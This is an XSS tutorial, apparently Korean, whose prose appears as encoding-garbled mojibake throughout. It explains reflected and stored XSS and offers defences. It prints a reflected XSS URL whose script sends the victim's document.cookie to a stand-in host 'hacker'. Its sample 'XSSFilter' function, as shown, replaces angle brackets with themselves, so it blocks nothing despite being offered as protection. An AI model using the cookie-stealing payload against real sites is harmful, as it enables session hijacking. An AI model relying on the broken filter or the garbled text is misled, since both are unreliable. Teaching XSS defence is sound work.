μμ±μ : κΉμ°μ
XSSλ Cross Site Scriptingμ΄λΌλ μΉ κ³΅κ²©κΈ°λ²μ μ½μμ λλ€.
SQL Injectionκ³Ό λλΆμ΄ κ°μ₯ ννκ² λ°μνλ©°, 곡격 μλ λμ΄λμ λΉν΄ μμ€ν μ λ§λν μν₯μ μ€ μ μλ μ·¨μ½μ μ λλ€.
XSSλ μ£Όλ‘ μΉ μ ν리μΌμ΄μ μμ μΌμ΄λλ μ·¨μ½μ μΌλ‘ κ΄λ¦¬μκ° μλ κΆνμ΄ μλ μ¬μ©μκ° μΉ μ¬μ΄νΈμ μ μμ μΈ μ€ν¬λ¦½νΈλ₯Ό μ½μ νλ 곡격 κΈ°λ²μ λλ€. XSS 곡격μ λλΆλΆμ μ¬μ©μκ° κΈμ μ°κ³ μ½μ μ μλ κ²μνμ μ£Όλ‘ λ°μνμ§λ§, μ¬μ©μκ° μ λ ₯ν κ°μ μΉνμ΄μ§μ 보μ¬μ£Όλ νλͺ©(μλ₯Ό λ€μ΄ μμ΄λ, λλ€μλ±)μλ λ§μ°¬κ°μ§λ‘ μ μ©μ΄ κ°λ₯ν©λλ€.
sample λλ ν 리μ κ°λ¨ν node.js λ°±μλ μλ²λ₯Ό μμ±ν ν μ§νν©λλ€.
<h1>Hello, world</h1>
λΌλ μΌλ°μ μΈ HTML<h1>
νκ·Έλ₯Ό μ¬μ©νμ¬ λκΈμ μμ±νμ λ<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/1200px-Google_2015_logo.svg.png" />
λΌλ μ΄λ―Έμ§ μ½μ νκ·ΈμΈ<img>
λ₯Ό μ¬μ©νμ¬ λκΈμ μμ±νμμ λ
μ΄λ°μμΌλ‘ κΈ°λ³Έμ μΈ HTMLνκ·Έλ₯Ό μ½μ νλκ²λ§μΌλ‘λ μ¬μ΄νΈμ λ¬Έμ λ λ§ν νμκ° κ°λ₯ν©λλ€.
κΈ°λ³Έμ μΈ HTMLνκ·Έλ₯Ό μ½μ νλ XSSμ κ²½μ° λ³΄νΈμ μΌλ‘λ μ¬μ΄νΈμ νλ¦μ΄λ λ μ΄μμμ κΉ¨λ¨λ¦¬λκ²μμ κ·ΈμΉμ§λ§ μ μμ μΈ μ€ν¬λ¦½νΈκ° μ½μ λμμ κ²½μ°μλ μ€λν 보μ λ¬Έμ κ° λ°μν μ μμ΅λλ€.
-
μ¬μ΄νΈλ₯Ό μ΄λμν€λ XSS μ€ν¬λ¦½νΈ
location.href="https://naver.com"
μ€ν¬λ¦½νΈλ₯Ό μ½μ ν΄ λ€μ΄λ²λ‘ κ°μ μ΄λλ λͺ¨μ΅
λ°©κΈ μμλ³Έ XSS 곡격기λ²μμ ν¬κ² λκ°μ§ μ’ λ₯λ‘ λλ μ μμ΅λλ€.
-
Reflected XSS 곡격μ μ¬μ©μμκ² μ λ ₯ λ°μ κ°μ μλ²μμ λλλ €μ£Όλ μλΉμ€μμ λ°μν©λλ€. μλ₯Ό λ€μ΄ μ¬μ©μκ° μ λ ₯ν κ²μμ΄λ₯Ό κ·Έλλ‘ λ ΈμΆμμΌμ£Όλ μΉμ¬μ΄νΈ νΉμ μ¬μ©μκ° μ λ ₯ν κ°μ μλ¬ λ©μΈμ§μ ν¬ν¨νμ¬ λ³΄μ¬μ£Όλ μΉμ¬μ΄νΈμμ Reflected XSS 곡격 μ€ν¬λ¦½νΈκ° μ½μ λλ©΄, μλ²κ° μ¬μ©μμ μ λ ₯ κ°μ μλ΅ν λ μ€ν¬λ¦½νΈκ° μ€νλ©λλ€. λ³΄ν΅ Reflected XSSλ 곡격μκ° μ μμ μΈ μ€ν¬λ¦½νΈμ ν¨κ» URLμ μ¬μ©μμκ² λλ₯΄λλ‘ μ λνκ³ , URLμ λλ₯Έ μ¬μ©μλ μ μμ μΈ μ€ν¬λ¦½νΈκ° μ€νλμ΄μ΄ 곡격λΉνκ²λ©λλ€.
λ§μ½ λ€μκ³Ό κ°μ 곡격 μ€ν¬λ¦½νΈκ° μ€νλκ² λλ€λ©΄ (μ€μ΅ μμ 2.2.2μ
location.href
λ₯Ό νμ©ν μ€ν¬λ¦½νΈ)http://testweb?search=<script>location.href("http://hacker/getcookie/value="+ document.cookie);</script>
ν΄μ»€λ μμ μ μλ²λ‘ μ¬μ©μμ
document.cookie
μ¦ μ¬μ©μμ μΏ ν€λ₯Ό νμ·¨νμ¬ μμ μ μλ²λ‘ μ μ‘νμ¬ μ μ₯ν μ μκ²λ©λλ€.
κ°μ₯ λ리 μμ£Ό μ¬μ©λλ XSS κΈ°λ²μ΄λ©° 곡격 μμλ λ€μκ³Ό κ°μ΅λλ€.
-
κ²μνκ³Όκ°μ΄ μ¬μ©μκ° μ λ ₯ν μ λ³΄κ° DBMSμ μ μ₯λλ μΉμλΉμ€λ₯Ό νκ²μΌλ‘ λ°μν©λλ€.
-
곡격μλ 곡격 μ€ν¬λ¦½νΈλ₯Ό κ²μνμ μμ±νκ²λκ³ , μλ²λ μ΄λ₯Ό DBμ μ μ₯νκ²λ©λλ€.
-
μ μ μ μ κ° κ²μν λͺ©λ‘μ λ‘λν λ μλ²λ DBμ μ μ₯λμ΄μλ μ μ± μ€ν¬λ¦½νΈλ₯Ό λ°ννκ²λ©λλ€.
-
μ μ μ μ μ μΉλΈλΌμ°μ κ° DOMμ ν΄μνλ λ¨κ³μμ μ μ± μ€ν¬λ¦½νΈκ° μ€νλ©λλ€.
- κ°μ₯ ν° λ¬Έμ μ μ λλΆλΆμ XSS 곡격μ μ¬μ©μλ κ΄λ¦¬μμ κ³μ μ λͺ¨λ₯΄λλΌλ μΏ ν€ νμ·¨ λ° μΈμ νμ΄μ¬νΉμΌλ‘ 곡격μκ° νμ κΆνμ κ°μ§κ² λλ€λ κ²μ λλ€.
- μλ°μ€ν¬λ¦½νΈλ μΉ μμλ₯Ό μμ μμ¬λ‘ 컨νΈλ‘€μ΄ κ°λ₯νκΈ°μ, μ μ μ μ μκ² κ±°μ§λ νμ΄μ§λ₯Ό λ ΈμΆμν€κ±°λ μ¬μ΄νΈ μ΄μ© μ체λ₯Ό λΆκ°νλλ‘ νλ λ±μ λ¬Έμ λ₯Ό λ°μμν¬ μ μμ΅λλ€.
-
μ λ ₯ κ° κ²μ¦ μ¬μ©μκ° μ λ ₯ν κ°μ λν κ²μ¦μ μ°¨λ₯Ό κ±°μΉλλ‘ νλ©°, μ λλ‘ μ¬μ©μκ° μ λ ₯ν κ° κ·Έλλ‘λ₯Ό μ¬μ©νμ§ μμ΅λλ€. μ΄λ SQL Injectionκ³Ό λ§μ°¬κ°μ§λ‘ XSS 곡격 λμμ κ°μ₯ κΈ°λ³Έμ μΈ λ°©λ²μ λλ€.
λ€μ ν¨μλ XSSλ₯Ό νν°λ§νλ μ κ·ννμ ν¨μμ λλ€.
function XSSFilter(content) { return content.replace(/</g, "<").replace(/>/g, ">"); }
-
Anti XSS, XSS λ°©μ΄ λΌμ΄λΈλ¬λ¦¬ μ¬μ© μ΄λ―Έ λ§λ€μ΄μ§ Anti XSS λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ©ν¨μΌλ‘μ¨ λ³΄λ€ μμνκ² XSS 곡격μ λ°©μ΄ν μ μμΌλ©°. λλΆλΆμ λΌμ΄λΈλ¬λ¦¬κ° μ λ ₯κ° κ²μ¦ κΈ°λ₯ μμ μ 곡ν©λλ€.
- λνμ μΈ node.jsμ Anti XSS λΌμ΄λΈλ¬λ¦¬λ sanitize-html μ λλ€.